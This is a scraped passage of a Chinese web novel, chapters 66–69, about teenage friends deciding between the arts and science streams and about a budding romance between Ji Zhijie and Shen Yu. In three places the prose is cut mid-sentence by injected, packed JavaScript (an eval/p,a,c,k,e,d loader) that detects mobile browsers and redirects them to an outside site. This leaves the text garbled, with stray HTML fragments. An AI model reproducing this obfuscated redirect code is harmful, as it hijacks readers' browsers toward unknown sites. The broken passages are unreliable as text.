“还有这张,你过年的时候想要放鞭炮,但是你不敢,还是隔壁邻居家的姐姐牵着你的手带你点的。” 柳明霞指着照片上牵着手的两个小女孩笑得一脸温柔。 “不过这个女孩子后来搬家走了,你应该都不记得了。” …… 对于柳明霞而言,一张张从这个手机倒腾到那个手机的相片是记忆闸门的钥匙,只要能看见照片,就能从几十年的人生中想起关于女儿的点点滴滴,就能发现女儿早已从小豆丁长成了大人。每一个发生争执的夜晚,每一个因女儿感到骄傲的夜晚,她或许都会像此时一样,翻着数不胜数的照片,在没有尽头的记忆里一点点拼凑着女儿的模样。 季知节再一次感受到了爱的具象化。 照片里大多是单人照,不时出现在镜头里的柳明霞直白地预示着掌镜人的身份,不用猜也知道在季知节还未曾熟练使用电子产品的年纪时,都是谁在一点点导出照片,再传到手机上。 无论是柳明霞不加掩饰十分直白的爱意还是季红卫隐藏在边边角角,藏匿于镜头后的爱意,季知节都无法不为之动容,甚至现在闭起眼睛都能顺着柳明霞的话勾勒出那些已然不记得的过去。 “你动摇了吗?” 似乎是有风,墙上的斑点像是在水中一样荡起了涟漪,季知节看着光斑自言自语道。 或许父爱母爱并没有明码标价,但是季知节知道,爱,是有着确确实实的重量的。 这份重量会不知不觉压在人的心头,一到需要做选择时就会显露出来,为某一方增添砝码。 因为明确地知道父母爱着自己,所以忍不住会想是否应该顺着父母的意,尤其是父母因为自己而吵架,无法估量的负罪感压在心头,几乎让人喘不过气。 “叮——” 骤然响起的消息提示音引得阳光都震颤了一下,季知节随手扒拉开脸上的头发,懒懒散散地打开了手机。 沈瑜:【你那边怎么样,叔叔阿姨同意了吗?】 女孩在沙发上翻了个身,用胳膊撑住身体,头发垂在两侧,双手飞快地敲击着键盘。 季知节:【50%吧,我妈同意了,但是我爸不一定,你呢?】 昨天回家汇报想法的并不只有季知节一个人,除开确定了艺体班的于落落和周博承以及父母并不会干涉的张镜,季知节和沈瑜约好了在同一天和父母摊牌。 小团体里同病相连的两个人诡异地产生了一种战友情,虽然家并不在一起,但是同一天摊牌莫名给人并非在孤军奋战的感觉。 沈瑜靠在椅子上,也是满脸愁容,难得的周末却苦恼得连电脑都不想碰了。 沈瑜:【那我就是33.3%吧,只有我姐同意了,我爸妈在对我冷暴力中。】 沈瑜:【流泪猫猫头.jpg】 季知节盯着有些滑稽的表情包,动动手指点了个收藏。 虽然有些不合时宜,但是这只猫猫实在即视感太强了,格外像某个人委屈的样子。 季知节在心里默默给自己的行为找补。 季知节:【我爸妈也因为这事吵架了,不知道什么时候才能和好。】 季知节:【感觉快变成罪人了。】 季知节:【流泪猫猫头.jpg】 熟悉的表情包出现在聊天界面,沈瑜有些失笑,却很快因为上面两句话笑不出来了。 这其实是一种很常见的心理,情不自禁地把过错都揽到自己身上,是一种安全感缺失和讨好型人格的表现,即使不断地告诉自己这和自己没关系,但内心下意识的感受是无法控制的。 这种性格的养成很难归咎出具体的原因,要说没有家庭的因素,那肯定是不可能的,母亲无意的忽视,父亲独断的决定,都有可能是原因,但要说完全是家庭导致的,那也不尽然。 沈瑜:【什么罪人不罪人的,哪有这么善良可爱的罪人啊!】 沈瑜:【不过,如果太过优秀也是罪的话,那你确实罪无可恕。】 沈瑜:【理直气壮.jpg】 隔着一层屏幕就是肆无忌惮一些,季知节叹为观止地看着聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959613|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天框里的“虎狼之词”,忍不住笑出了声。 季知节:【去进修了吗,这么会夸人。】 手速快过脑子的下场就是沈瑜耳尖通红地看着自己发出的话,不知在想些什么,不过也梗着脖子没有选择撤回。 沈瑜:【和你学的,夸人的功力不及你百分之一。】 季知节:【谬赞谬赞。】 女孩还顺手发了个戴墨镜的emoji,小得意的劲拿捏得死死的。 通过文字表达情感或许会产生一些误差,所以表情包和emoji就应运而生。沈瑜含笑地看着女孩发过来的小墨镜,修长的手指并没有停下打字的动作。 沈瑜:【叔叔阿姨不会吵很久的,别担心,你看我已经成为全家公敌了,我丝毫不慌。】 沈瑜:【实在不行我到时候就自己给自己签名了,反正从小到大已经练出来了。】 纵使知道沈瑜并不像表面上那般乖巧,可这句充满反骨的话还是让人不禁挑眉。 季知节:【真的不慌?】 话尾的问号直戳人心,沈瑜看了两秒这个十分常见的标点符号,认输般叹了口气。 沈瑜:【好吧,有一点点慌。】 怎么会不慌呢,没有人不想得到来自父母家人的支持,即使嘴上说不在乎,没有人理解也没关系的话,但是真正完全不受外界影响的又有几个呢。而也正是因为如此,所以每一份支持都显得弥足珍贵。 沈瑜:【我时常会想我是不是真的很不听话,这么点个人90%都是反骨,几乎没几件事情是顺着我爸妈的。】 沈瑜:【但是,我好像就是这样一个人了,我在这些事情上大概是没办法改了,所以我打算在小事上乖一点。】 沈瑜:【实话实说,我打算一会儿去买菜做饭,吃了我烧的饭,总不能再骂我了吧。】 好像是在破罐子破摔,又好像是在挣扎,但挣扎得又不是很明显,季知节有些好笑地看着聊天框,搭在沙发上的脚都忍不住翘了起来,有一搭没一搭地晃悠着。 季知节::【学会了,等我也钻研一下厨艺,没准什么时候我们身上的反骨还能拿来煲汤。】 季知节:【吃人嘴软,拿人手短,我看好你。】 沈瑜:【感谢感谢,下次有机会也请你吃饭哈。】 沈瑜:【所以比起红烧,你更喜欢拿骨头煲汤嘛。】 聊天的重点非常愉快地偏移了,两人就着一些奇奇怪怪的想法展开了辩论……啊不,讨论。例如西红柿炒鸡蛋是放糖还是放盐,豆腐脑吃甜的还是吃咸的…… 东扯一句西拉一句,即使没个主题也完全不打紧,单纯地发个表情包也能乐呵个不停,季知节姿势都换了两三个,趴着手酸了就躺着,不行就靠着沙发坐着。沈瑜也不知怎么从椅子上挪到了床上,手机都差点没抓稳砸到脸上。 可偏偏就是这样看似毫无营养的闲聊,让两个人都把内心乱糟糟的情绪抹平,再复杂的心思也被抛之脑后,只剩一派安然。 再抬首时,墙上晃动的光斑悄然无影无踪。 67. 第 67 章 对于即将迈入高二的学生而言,文理分科是头等大事,但是对于普通人来说,这也只不过是人生旅途中的一段风景。在还没有签下分科意向表时,一切都还是未知,即使到了高二,只要会考还没有结束,就不能彻彻底底地放下另外一科。再加上最后一次期末考成绩会作为分班的依据,所以学习时依旧要“一视同仁”。 各科老师并不会因为学生的分科意向而手软,卷子像不要钱一样哗啦啦地往下发,只有期末时交的复印费才知道这学期到底过得有多惨绝人寰。 小考、大考、随堂测验……一张张答题卡上被写上了鲜红的分数,起起伏伏的成绩曲线不时牵动着所有人的心。 又一叠试卷被发了下来,于落落面如菜色地看着桌面上的东西,几乎要抱头痛哭。 “下节课不是语文课吗?发生物卷子干嘛!” 听到哀嚎的季知节指了指讲台上背对着座位,在黑板上写着字的生物课代表:“显而易见,是回家的伴手礼。” “这种日子什么时候是个头啊!” 于落落把试卷塞进试卷夹,“我们不是才高一吗,这架势都赶得上我隔壁高三的姐姐了。” “你那个姐姐几中的?” 张镜顺手在试卷上写好名字,回头询问道。 “好像是……四中吧。” “你想想四中的本科率和我们学校的本科率就知道了。” 张镜轻描淡写地说道。 一中是重点高中不假,但并非每一个在校生都是天才,世界上的天才也不会有那么多,更不会恰好都集中在一个学校。对于绝大部分学生,老师都会选择以大量的题海战术去应对。但不同于其他学校的老师只会给学生发习题,一中老师更会自我鞭策,要是个人的业务水平不够,不仅会被家长投诉,更会被学科组的组长拉着开会。 不要认为学生不懂老师之间教学水平的差距,作为教学对象,学生才是能最直观感受到老师教学水平的存在。 所以在一中,做学生难,做老师也难。 于落落叹了口气,认命般趴在了桌上,许是最近伙食不错,脸颊贴在桌面上挤压出了一层软乎乎的肉。 季知节被猝不及防地可爱到了。 女孩伸出了罪恶的小手,以迅雷不及掩耳之势戳了戳于落落的脸。 于落落:“?” 季知节飞快收回手,心中满意丝毫不显,轻咳一声,装作什么都没发生的样子,朝沈瑜接了支笔,然后转了回去。 一连串动作行云流水,沈瑜也相当配合地不出声,递完笔就埋头写作业。 于落落捂着自己的脸颊,一脸委屈地扯着张镜的衣领告状:“你看她!她欺负我!” 张镜一脸淡定地从于落落手中解救回自己的衣领,顺手捏了一把于落落的脸颊肉,随后比季知节还要坦然地转过了头。 于落落:“……” 余光里目睹一切的季知节捂着嘴偷笑,结果被张镜抓了个正着。 女孩扶了扶眼镜,挑了挑眉,相当理直气壮。 “对了,分科的事情,你爸同意了?”张镜瞥到桌上的生物试卷,忽然想了什么,开口问道。 季知节低垂着眼睛,收拾着桌上的东西,顺便把抽屉里的语文书拿出来摆到桌面上。 “没同意也没拒绝吧。”季知节抿了抿嘴,脸上挂着一抹苦笑,“大概是我妈说了什么,最近我爸也没在我面前一直说选理的话了,虽然还是垮着一张脸。” 张镜:“这都多久了,你爸还挺……执着的。” 自身所受到的教育让张镜不太擅长对长辈进行评判,但是季知节爸爸这种暗戳戳冷战的模样真的让人升起不少吐槽欲。 “可别说了。”季知节扶住脑袋,头疼地要命,倾诉欲不断腾升,“跟个小孩子一样,你不和他说话他就不和你说话,你和他说话吧,他就阴阳怪气,还时不时哼一下,偏偏他还句句有回应。” “感觉比更年期更先出现的是叛逆期,一些callback。” “而且一和他提分科的事情他就嗯嗯啊啊的,我都快疯了。” 季知节可不管三七二十一,吐槽起季红卫那是一点不带嘴软。 张镜有些同情地拍了拍季知节的肩膀,语重心长地安抚道:“我们做小孩子的,要心胸宽广一点,大人嘛,都那样。” 地图炮射程之广,范围之大,让季知节一时间脑子里闪过了无数长辈亲戚的脸。 骂得可真脏啊。季知节不禁感叹道。 “那你还要继续争取吗?”张镜转回正题,看了一眼满脸愁容的女孩,“你不是说你妈妈已经同意了吗,就让你妈妈签字不行嘛?” 季知节深吸一口气,扯出一抹肆意的笑:“当然啊,我妈妈确实是说可以给我签字没错啦,但是我总觉得,我爸那副‘不听老人言,吃亏在眼前’的模样很烦诶,总是觉得这不行那不行的,我要是不多说说,他万一觉得我的想法能改变那怎么办。” “每天随口提两句分科的事情也只是在告诉他我的决心而已,而且我爸每次想反驳时候,都会被我妈踩一脚或者怼一胳膊,该说不说,挺爽的。” 女孩圆眼里闪着狡黠的光,“以前遇到事情就是吃亏是福,现在不听他的话就是吃亏,依他的逻辑来说,不听他的话不就是我的福气还在后头喽。” 好像没什么道理,又好像逻辑自洽了。 张镜一脸惊叹地看着得意的女孩子,忍不住竖起了大拇指:“你是黑心馅的吧,像只狐狸一样,我还一直觉得你像只狗狗来着。” “不过狐狸和狗狗都是犬科的,说到底还是狗狗啦。” 在后面听了半天的于落落忍不住向前探出身子,坐着的椅子都悬空了半边,附和道。 季知节:“??” 女孩一脸不可置信地看着两人,甚至开始怀疑自己的耳朵:“不是,你们说啥呢?你们背着我达成了什么邪恶的交易?” 于落落这才反应过来说了什么,刚偷偷摸摸地向后移动,就被季知节一个眼神扫过来,定在了半空。 女孩漂亮的脸蛋上露出一抹讨好的笑,疯狂眨着眼睛,嘴里谄媚道:“你要再捏捏我的脸不,可好捏了,免费的哟。” 季知节冷笑着两只手探了出去,毫不客气地搭上了于落落的脸颊,一顿狂搓就消解了本就不大的怒气。 “我们没和你说过吗?我们俩一直觉得你像小狗狗来着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982509|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 张镜不动声色地拉开和季知节的距离,看着“狠心”的同桌和“悲惨”的后桌,面不改色道:“长得像,眼睛圆溜溜的。” “性格也像,朝谁都能扑过去。”于落落揉了揉脸颊肉,略有些口齿不清。 “做好了什么事情一脸求夸夸的样子像。” “给你点好吃的就能记很久也像。” “生气之后记仇的样子也像。” “总而言之,活脱脱一只小狗啊。” 张镜做着最后的陈述,在季知节反应要报复之前,立马起身拉着于落落就跑。 “都要上课了你们往哪跑啊!” 季知节看着迅速开溜的两人气极反笑。 “上个厕所~” 张镜的声音缓缓飘来,于落落也不忘朝着还在座位上的女孩做了个鬼脸。 季知节:“……” “神经病啊。”女孩笑骂一声,“跑的了和尚跑不了庙,座位就在这,迟早要被我狠狠教训一顿的。” “所以,你现在记仇的样子,你觉得像不像小狗呢?” 沈瑜支着下巴,含笑地看着面上生气,眼睛却止不住笑意的女孩,开口调侃道。 季知节:“……” 女孩的笑意僵在脸上,大脑似乎有些过载,又似乎是不愿意承认这一事实,女孩眯着眼睛看向沈瑜,佯装生气地说道:“行啊,所以你也觉得我是小狗是吧。” “狗狗可是人类最忠实的朋友呢,这是多高的赞誉啊!”沈瑜煞有其事地说道。 “那你去当狗狗吧!我明天会记得给你带火腿肠的!” 季知节拍着沈瑜的课桌,皮笑肉不笑道。 “诶,不能是骨头嘛,我不想吃火腿肠诶。”男孩有些苦恼地看着女孩,眸子里闪着细碎的光,偏头笑道:“就不能行行好嘛?” 似乎是被什么灼烧到了,季知节猛地移开眼睛,没好气地丢下一句话就转过身去:“爱要不要,流浪狗就这待遇。” “啊,原来我是流浪狗啊~” 女孩有些泛红的耳朵映入眼底,沈瑜喃喃自语道,脸上是无法掩饰的笑意。 “恼羞成怒了。” 说着要去厕所的两个人扒在走廊的窗户上,偷偷摸摸地看着座位上的两个人。 于落落看着转过身的季知节,朝张镜挤眉弄眼道。 “没错,恼羞成怒了。” 张镜深有同感地点了点头:“看来这会仇恨值不在我们身上了,可以安心回去了。” 于落落:“……” 重点完全不在一起怎么办?当然是凉拌。 女孩耸了耸肩,沧桑地叹了口气:“看来只有我才是这个世界上唯一的聪明人了。” “大白天就开始做梦了,你一会儿语文课睡着了别找我要笔记啊。” 张镜有些奇怪地看着于落落,嘴里没好气道:“快走快走,一会儿打铃了。” 于落落:“……”fine 察觉到身边多了个人,季知节皱巴着脸朝张镜翻了个小白眼。 周博承吃着不知从哪摸来的糖果,心满意足地看着由前座几人主演的情景剧,满足地向陆谦说道:“我们这位置太好了。” 68. 第 68 章 时间过得没有那么快,但也没有那么慢。每天从床上睁开眼睛再到晚上躺在床上合眼几乎是刹那的功夫,让人怀疑一天是否真的有24小时,是不是地球自转在没人知道的地方悄然加速。 “我的天呐,怎么又十二点了,我卷子才刚刷完啊!” 几乎每一天季知节都会因为骤然变化的时间而坐在书桌前哀嚎。 但每节课的45分钟又格外漫长,似乎一眼看不到头。 “不是手表坏了就是这个世界坏了。”周博承抬手举着自己的手表信誓旦旦,“不然怎么会我连看三次时间都还是9:45。” 当然,好孩子不应该上课只顾着看表,周博承受到了来自前方“战友”的强烈鄙视。 但是不论体感是如何,时间总是冷酷地向前走着,不为任何人的哀求停留,也不为谁的后悔动摇。 秋季的蓝白校服再一次被码在了衣柜深处,五颜六色又轻薄的短袖出现在了太阳下,教室里积着灰尘的风扇又一次吱呀吱呀地晃悠了起来,然后,文理分科意向表被发了下来。 “这个表,所有人都要收好,写上自己的文理分科意向之后,让家长签字,注意一定是家长签字。” 李化腾指着意向表上家长签名的位置,一脸严肃,“这个可不是以前那些致家长的一封信,那些东西你们有些人自己签一签就算了,我都当没看见,但是这个意向表很重要,一定一定要是家长亲笔签名。” 小小的一张A4纸放在桌面上,还没有摊开的数学书大,也许都没有试卷厚,可就是这样一张A4纸让班级喧闹后又迅速沉寂下来,每个人都低头打量着这张字都没有写满的纸,有人面露愁容,也有人满面期待,也有人暗自思量。 “这个表明天一定要带过来,在你们身上越放越容易弄丢。” 实在是太清楚学生们的德性,李化腾脸上带着恨铁不成钢的无奈,却也转瞬即逝。 “听着是有点着急,但是这学期一开始我就提醒过你们,我们本学期的任务之一就是文理分科,这学期也快接近尾声了,思考得也够久了,今天回去把答案写上,然后明天上交。” “把表都收好,我们开始上课。” 把一切交代完,李化腾把做示范的意向表夹进课本,转头开始在黑板上写下标题。 而就是李化腾转身的功夫,班级像被投入了小石子的池塘,忽然荡起了涟漪。季知节就看见张镜龙飞凤舞地在分科的地方写下了文科两个字;也看见张嘉欣犹犹豫豫地写下了理科,随后像眼不见心不烦一般把表格塞进了一个文件夹,又塞进了书桌的抽屉的最底层,好几本书压在上面,像孙悟空逃不出的五指山;还听见于落落在后面小声哼哼着不成调子的歌,想来是心情愉悦。 这些细微又带着各自情绪的小动作随着李化腾转身的动作沉入湖底,再不见一丝声息。 季知节几不可见地摇了摇头,把各种思绪甩出脑海,神情集中地看向黑板,贪婪地吸收着知识点。 数学越到后面越难几乎是一个共识,每到数学课时,季知节都会拿出120%的精力,而且不同于其他学科的按情况做课外练习,季知节每天都会拿出额外时间训练数学,越到后面学习越需要学会分配重点,因为人的精力是有限的,而无论是文科生还是理科生,数学都是无法割舍的重点。 而值得欢呼的是,在高中时期,努力就会有收获这句话在大部分时候依旧适用,至少不会像工资与工作内容的关系那样令人绝望。 厚厚的习题,以及去李化腾办公桌的频次都让季知节把数学成绩维持了在了130左右,且右边的次数要远远高于左边,甚至于还有几次摸到了140的门槛。 “我感觉你去李老板办公室比去卫生间还要熟悉了。”于落落曾经这般调侃过一下课就不见踪影的季知节,这句话显而易见地运用了夸张的修辞手法,但是不可否认的是这句话里透露出的季知节的努力。 教室的时钟被挂在了后面的墙壁上,为了老师合理地安排授课重点以及方便老师监考,也为了防止学生抬头看黑板时动不动就瞥向钟表,再加上季知节并不习惯戴手表,所以当下课铃响起来的时候,女孩才恍然惊觉一堂课已经过去了。 特级教师从来不愧对于自己的名号,对于课堂节奏把握之熟练令人咋舌,几乎是下课铃刚响起来,课时的重点就已经被讲得差不多了,但拖堂是数学老师之间的共性,这仿佛是数学老师这一职业的天赋技能点,无需学习,当你转职成为数学老师时便无师自通了。 耐心地等待下课铃结束,李化腾随手拿起第一排同学的配套资料,“今天的作业就是这个资料往后写两面,再加上书上的课后习题,以及明天一定要把意向表带过来,班长等会在黑板上写下来,都给我记到你们的作业本里面去。” 季知节一边记下作业,一边感叹着特级教师加班主任的威严。 “你们发没发现,李老板贼喜欢用下课的时间布置书写作业,绝不占用一点上课的时间。” 女孩整理着桌面,看着李化腾走出教师,迫不及待地和周围人分享着自己的发现。 “对啊对啊!”于落落疯狂点头,脸上露出一副果然如此的表情,“我还以为就我发现了呢,而且这个行为就很,嗯,很边缘。” “对对对!你说他拖堂吧,他又只拖个几分钟布置作业,你说他不拖堂吧,那这几分钟也是时间。” 季知节简直要封于落落为自己的灵魂挚友,“边缘”这个词用得可太好了。 “一节课拖一分钟,那么45节课就是45分钟,那么一学期就是好几节课,李老板不愧是李老板,太会赚了。”张镜深有同感地点头。 沈瑜“嘶”了一声,笑得开心,“有点像李老板昨天骂我们不守纪律时的那句话。” 听到的人显然都想起了昨天李老板教训的话,都笑得十分欢快。 季知节清了清嗓子,压低了声音,还相当细节地把眉头皱在了一起:“你们一个人说一分钟,45个人就是45分钟,你们每节课每个人都说一分钟,那我这一学期的课还要不要上了!” 拙劣的模仿让人捧腹大笑,沈瑜边笑边感叹道:“要不说是李老板呢,亏掉的时间都在几分钟的拖堂里面补回来了,没准还赚了。” 季知节深有同感地点头。 于落落擦了擦眼角渗出的泪水,更是当场发出了offer:“就你了,拜托你以后一定要做我电影的主角。” 女孩得意挑眉:“只要钱到位,一切好说。” “谈钱多伤感情啊。”于落落露出苦兮兮的脸,试图让人心软。 但季知节铁血心肠不为所动:“谈感情也挺伤钱的。” 眼看着两人即将开演,张镜果断转头准备整理笔记。 常因为太过理智而感到格格不入。 张镜在心中感慨。 但是没办法,一群人中间总要有个聪明人的。 看着张镜不准备再搭理自己,于落落脑中灵光一闪,忽然想起了什么,抬手就揪住张镜的衣领往后拉。 颈部忽然传来的紧绷感让张镜吓了一大跳,脑子里闪过听过的各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995878|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怖故事,短短一秒间已经在思考自己短短十五年做了什么错事要被勒死索命了。 但很显然要被勒死的不是张镜而是于落落,反应过来的张镜一步跨到了于落落身边,一个锁喉就卡住了女孩的脖子,嘴里恶狠狠道:“干什么,想谋杀啊!” “yue。”于落落嘴里发出意味不明的拟声词,翻着白眼吐着舌头俨然一副命不久矣的样子,可偏偏朝着季知节伸出的手又透露着强烈的求生欲。 “我救你的话你给我多少钱啊?” 季知节一脸纠结地看着于落落,眼睛里闪着狡黠的笑意,故作为难道:“毕竟我俩没啥感情。” “一瓶可乐,我买你袖手旁观。” 张镜手上不放松,看着女孩一脸淡定道。 “好嘞,这位女士开价一瓶可乐,还有吗?还有其他的价格吗?没有的话我们落锤成交了哦!” 不知从哪学来一口不伦不类的拍卖腔,季知节五指并掌,轻轻划过两人眼前,硬是做出了一副买者众多的样子。 于落落颤颤巍巍地用伸向季知节的手比了个“2”的手势。 “哦~这位女士比了个耶,是想告诉我现在的状况很好是吗,看来我们张镜女士的手劲不算大啊!” 季知节面不改色地胡诌道。 张镜动作一顿,一脸惊叹地看着睁眼说瞎话的女孩,即使认识了快一年了,也不得不因为朋友不时展露出来的人品而感到震惊。 颤颤巍巍的手更加颤抖地变成了“3”的样子。 季知节轻轻拍了下掌,展现出一副果然如此的模样:“看来我说的没错,诸位瞧瞧,我们于落落女士和我们说她现在非常OK啊!” 于落落:“……” 张镜简直叹为观止,略微张大的嘴巴无声表示着自己的震惊。 女孩颤抖的手似乎因为巨大的打击而不再颤动,甚至白眼也不翻了,满脸凶恶的比了个“4”的手势,一双大眼睛锐利地看着女孩,像是在问“我看你还能搞什么鬼。” “好嘞,四瓶可乐成交!” 沈瑜憋着笑眼疾手快地把文具盒递给了摊着手的女孩,布制文具盒在桌面上发出轻响,仿佛拍卖槌砸在了桌子上。 “咱们小本生意一锤子买卖啊,不可以反悔哈。” 于落落:“……” 张镜:“……” 女孩一脸无辜地看着满脸写着脏话的两人,笑得开怀。 张镜忽然松开了于落落的脖子,一脸真挚地说道:“辛苦你了,和这种人做朋友。” “彼此彼此。”于落落笑得一脸苦涩,“你还是她同桌呢,你好像更惨一点。” “你刚刚有什么事,我一定会尽力满足你的,你真的太不容易了。”张镜握住于落落的手没有松开,神情越发认真。 “不用了不用了,我本来想找你借一下风油精,现在完全不困了。”于落落一脸感动,话里话外充满着感激。 “不不不,我分你一个,我有好多,咖啡要不要,我也有。” 张镜作势要去翻书包,立马被于落落拉住,“太感谢了吗,有需要我会找你要的!” “怎么能这么见外呢,咱俩谁跟谁啊。” 眼看着那边也登台开始唱戏,季知节忽然一笑,朝沈瑜笑道:“他俩像不像过年塞红包的人和被塞的小孩。” 塞红包·张镜:“……” 小孩·于落落:“……” 顶着两道杀人的目光,沈瑜艰难地吞咽了一下,笑得比哭还难看:“不然,我去给你买可乐?” 69. 第 69 章 可乐最后还是喝到了,不过当然四瓶是不可能的,人手一瓶倒是不在话下,结账的也当然是事先就“夸下海口”的沈瑜。 校门口的便利店外的四个人人手一瓶可乐外加一根冰淇淋,齐刷刷站在一起看着马路上往来的车流。 许是手里的甜筒太好吃,季知节久违地激起了一点愧疚心,略有些犹豫地看向了身旁的沈瑜:“我们真的不用管周博承吗?刚刚放学的时候他眼神挺……幽怨的。” 何止是幽怨啊,简直是怨夫了。 于落落咬了一口山楂味的冰棒,被冻了个机灵。 那眼神,就像沈瑜是什么负心汉一样。 沈瑜同样拿着甜筒,不太熟练地找着可以撕开包装纸的地方,闻言狡黠一笑:“没关系没关系,他老师不让他喝太多碳酸饮料也不让他吃太多零食,说是变胖了会影响成绩。” “他都快瘦成一根竹竿了吧。”张镜咬了一口小布丁,浓郁的奶香在口腔里跳舞,让人忍不住眉开眼笑,“早上做操整队的时候,远远看过去,就是一根竹竿。” 显而易见,小布丁并不能让张镜的嘴和自己一样甜。 “男生是不是能长到24岁来着?” 季知节忽然想到看到过的科普,目光中流露出一丝不忿,眯着眼睛看向正准备吃甜筒的沈瑜。 香草味的甜筒举在嘴边不上不下,沈瑜敏感地察觉到了女孩话语中的异样情绪,眼睛一眨就笑着说道:“等我24岁的时候我再告诉你吧,现在谁知道呢。” 这是高手。于落落咬了一口冰棒直摇头。不声不响地约好了24岁再联系,啧啧啧。 听出言外之意的当然不止于落落,张镜看了一眼手中小布丁,又装作若无其事的把视线投向了车流。 24岁,上一个24岁的季知节在干什么? 好像还在因为扣掉五险一金就所剩无几的工资而感到崩溃,好像在因为不断上涨的物价而烦躁,也在为一眼就望得到头的无趣人生而感到迷茫。 24岁的沈瑜呢? 在舞台上弹着吉他唱着歌,在漫漫人海中闪闪发光,耀眼得和季知节不是一个世界的人。 但此刻, 女孩笑了。 一双圆眼笑得眯成了一条缝,声音自然而轻快。 “好啊,我们24岁再聚一次吧。” 人生就像是坐在公交里进行一场旅行,在始发站时只有自己一人,但是随着旅途的前进,车上的人会越来越多,也会遇到各色各样的人,有些人只是擦肩而过,但有些人却能在这场旅行中留下浓墨重彩的一笔。即使终点站各不相同,但坐在一起谈天说地的记忆是唯一且快乐的,也是会永远牢记的。 也许从现在到24岁的日子里,几个人会逐渐走散,但季知节会记得在这个傍晚不情不愿离开的周博承,会记得忙着吃冰棍连话也不想说的于落落,会记得从始至终热爱小布丁的张镜,也会记得连甜筒包装纸都拆得慢一拍的沈瑜。 无论今后如何,但只要做下这个约定时,每个人是发自内心的,那便说明,这份情谊是青春里最美的宝藏。 “啊。” 张镜忽然指着一辆黑色轿车笑出了声。 “那个车牌号。” 所有人顺着张镜所指的方向看过去,蓝色的车牌末尾三个数字令人熟悉的不得了。 “救命啊,谁家好人把圆周率挂车牌上啊!”于落落一脸头大地看着“314”几个数字,眼里的绝望几乎都要实体化了,“还好车牌上不能放小数点,感谢伟大的政策。” 其实高中时期已经不会像初中时,计算要把π量化成3.14了,大多数时候直接用π表示,314这几个数字也并不是圆周率的专利,像是白色情人节也是3月14号,与此同时还是国际警察日。 但是或许是最近恰好在学立体几何,几个人脑子里第一反应居然都是圆周率。 季知节噗嗤一下笑出声,尝试把知识点暂时移出大脑:“其实,如果前面加个1的话,1314也能说得通吧。” “3月14日好像也是国际数学日吧。”沈瑜想起不知道从哪看到的冷门小知识,开着玩笑道。 “那不还是和数学有关吗!”于落落愤怒地喝了一口可乐,“那还是1314吧,虽然都不是什么好东西。” 对数学的“仇恨”很显然已经让于落落开始迁怒了,只要和数学有关的,哪怕是狗,现在都有可能被女孩骂两句。 季知节边笑边把最后一口甜筒塞进嘴巴,酥脆的饼干让此时此刻的技艺带着气味停留在了脑海,记忆中又多了一辆不经意路过,却差点激起民愤的、车牌号中带着“不吉利”数字的黑色轿车。 繁重的作业让人不管干嘛都会想着本子上一长串还没打勾的作业,几人也不过是忙里偷闲在便利店门口聊了会天,即使每个人都想在墨迹一会儿,但逐渐要变暗的天色和马上要临近的饭点都催促着所有人赶紧回家,手中的可乐就像是倒计时一样一点点减少着,当四个易拉罐不约而同地扔进垃圾桶时,就预示着几人马上就要各回各家,各找各妈了。 于落落双手拿着头盔不顾发型就要往头以上盖,三两下扣好卡扣,正准备拧动油门跑路时,忽然转过头笑得神秘兮兮:“对了,我最近在干一件超——级牛的事情,周六我们出来聚一下不,给你们看看。” 几乎要拖出十来米的长音让人不禁挑眉,女孩一脸想说又奉劝自己忍住的表情实在搞笑,季知节很给面子的没有笑出声,而是比了个ok的手势,“周五记得提醒我们就行。” 电动车马上就溜了个没影,张镜收回在空中挥着的手,明明人不在,还是压低了声音和季知节吐槽:“总觉得没好事。” 季知节轻嘶一声,有些犹豫:“应该……也坏不到哪去吧……大概。” 听了个正着的沈瑜:“……” 合着就是默认了这不是件好事了是吗。 虽然平时看上去是个嘴没把门的八卦小行家,但是一旦于落落铁了心要瞒住,就还是有点难撬开的,聊天框里打探的消息不是被刻意忽略就是被打发了过去,甚至最后还佯装生气,发了个小火。 【于落落:都说了是秘密啦!再问的话一人一罐可乐!】 也不是舍不得买可乐,只是一时间没什么好奇心了而已。 季知节和张镜不约而同的停下了打探的动作,老老实实地投入到了作业当中。 写着“文科”两个字,签名区签着“柳明霞”三个字的文理科分科意向表乖巧地躺在书桌一角,女孩从作业中抬起头,看向了这张薄薄的A4纸,轻笑了一声。 签字的过程并没有想象中那样鸡飞狗跳,原本以为会最后再挣扎一次的季红卫就像是没看到一般沉默地刷 